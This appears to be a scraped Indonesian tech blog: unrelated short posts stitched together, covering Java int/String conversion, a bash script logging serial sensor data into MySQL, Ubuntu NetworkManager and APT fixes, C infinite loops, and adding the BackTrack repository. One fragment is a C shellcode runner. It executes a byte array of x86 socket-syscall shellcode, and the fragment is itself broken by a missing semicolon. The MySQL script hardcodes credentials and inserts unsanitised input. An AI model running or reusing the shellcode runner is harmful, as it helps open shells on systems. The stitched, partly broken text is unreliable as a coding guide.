int m = 0;
            stmt = c.createStatement();
            String gedhang = "select * from soal_ekskul order by id desc limit 1";
            ResultSet rsa = stmt.executeQuery(gedhang);
            while(rsa.next()){
            String tape = rsa.getString("id");
               
            int ketan = Integer.parseInt(tape);
            int klepon = ketan+1;
            String dangglem = Integer.toString(klepon);
            m = m+1;

tu dah… buat ngecek kasih aja System.out.println(dangglem) ato apalah… silahkan dimodif..
eh.. yang punya kopi sama rokok dong…

public class inttostring {

	public static void main (String args[]) {
		int dua = 2;
		String duwe = Integer.toString(dua);
		System.out.println("angka " + duwe + " dalam bahasa Madura adalah duwe");	

	}
}

test it..

public class stringtoint {

	public static void main (String args[]) {	
		int dua = 2;
		String satu = "1";
		int setunggal = Integer.parseInt(satu);
		System.out.println(dua + setunggal);	
		
	}
}

oke penjelasannya adalah, bahwa variable satu bertipe data String, dan variable setunggal adalah hasil konversi variable “satu” menjadi integer, kemudian ditambahkan dengan varible “dua” yang bertipe data integer menghasilkan angka “3″, oke sekian dulu. saya menikmati senja lagi..

sensor -> mikrokontroler -> serial2usb converter -> komputer include server mysql

oke lanjut bos, untuk mengetahui serial2usb konverternya kebaca apa tuh anak di linux, pake perintah ini

dmesg | grep tty

ntar ketahuan misal /dev/ttyACM0
dan misal di mysql ada database dengan nama “Fisika” dengan table “data” dan columns “id, suhu, waktu”, dan kita pengin masukkin data ke situ, jadi gak usa lama lama ya pegel ini..

oke berikut source program buat baca

#!/bin/bash
# inisialisasi untuk server, user dan pwd mysql
HOST="localhost";
USER="user_disini";
PWD="password_terserah_cuk";
#mulai
#disini usbtoserial kebaca ACM0
#READ=`cat /dev/ttyACM0`
while true
do
#time=`date +%a-%b-%Y:%T`
time=`date +%a-%b-%Y:%T`
sleep 1
clear
read READ < /dev/ttyACM0
# proses baca dari serial2usb
echo $READ
sleep 1
#bagian untuk memasukkan data ke mysql
#database:FISIKA tabel:data kolom:(id,suhu,waktu)
echo "USE fisika; INSERT INTO data (id,suhu,waktu) VALUES ('','$READ','$time');" > /tmp/query.sql;
 
# eksekusi queery
results=`mysql -h $HOST -u $USER -p$PWD < /tmp/query.sql`;

done

oke friend, test it.

#include <stdio.h>
char shell[] = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80"

int main(void) {
       ((void (*)(void))shell)(); // str()
        return 0;
}

scan:

oke ceritanya saya sering menemukan kejadian bahwa icon Network Manager di bagian kanan atas sering menghilang setelah booting, dan ternyata kayaknya kok banyak yang dapatin seperti ini, nah ini solusinya tanpa reboot, biar gak ribet

edit file /etc/NetworkManager/nm-system-settings.conf
seperti ini

[main]
plugins=ifupdown,keyfile

[ifupdown]
managed=true

lalu dari terminal ketikkan:

killall gnome-panel

dan taraaaaaa muncul lagi tuh anak

1.duduk permasalahan:

shadow@puppet:~$ sudo apt-get upgrade
Reading package lists... Error!
E: Dynamic MMap ran out of room. Please increase the size of APT::Cache-Limit. Current value: 25165824. (man 5 apt.conf)
E: Error occurred while processing libgtksourceview2.0-0 (NewFileVer1)
E: Problem with MergeList /var/lib/dpkg/status
W: Unable to munmap
E: The package lists or status file could not be parsed or opened.

2. lalu mencoba:

shadow@puppet:~$ sudo apt-get autoclean
Reading package lists... Error!
E: Dynamic MMap ran out of room. Please increase the size of APT::Cache-Limit. Current value: 25165824. (man 5 apt.conf)

hmmmmmm masalah ada di bagian

E: Dynamic MMap ran out of room. Please increase the size of APT::Cache-Limit. Current value: 25165824. (man 5 apt.conf)

3. lalu fixingnya:

root@puppet:/etc/apt/apt.conf.d# cat << EOF >> /etc/apt/apt.conf
> APT::Cache-Limit "30000000"; [enter]
> EOF [enter]

4.hasilnya

root@puppet:/etc/apt/apt.conf.d# apt-get update

sip… bisa di update dan upgrade lagi

#include <stdio.h>
int main(){
	while(1){
		printf("looptiadaakhir\n");
		}
		return 0;
	
	}

#include <stdio.h>
int main(){
	for(;;){
		printf("looptiadaakhir\n");
		}
		return 0;
	
	}

akfsec@Indonesia:~$ wget -q http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add -ok-

2. tambahkan baris:

deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse

di /etc/apt/sources.list

3.update repository

akfsec@Indonesia:~$ sudo apt-get update

4.selesai bisa dilihat di synaptic
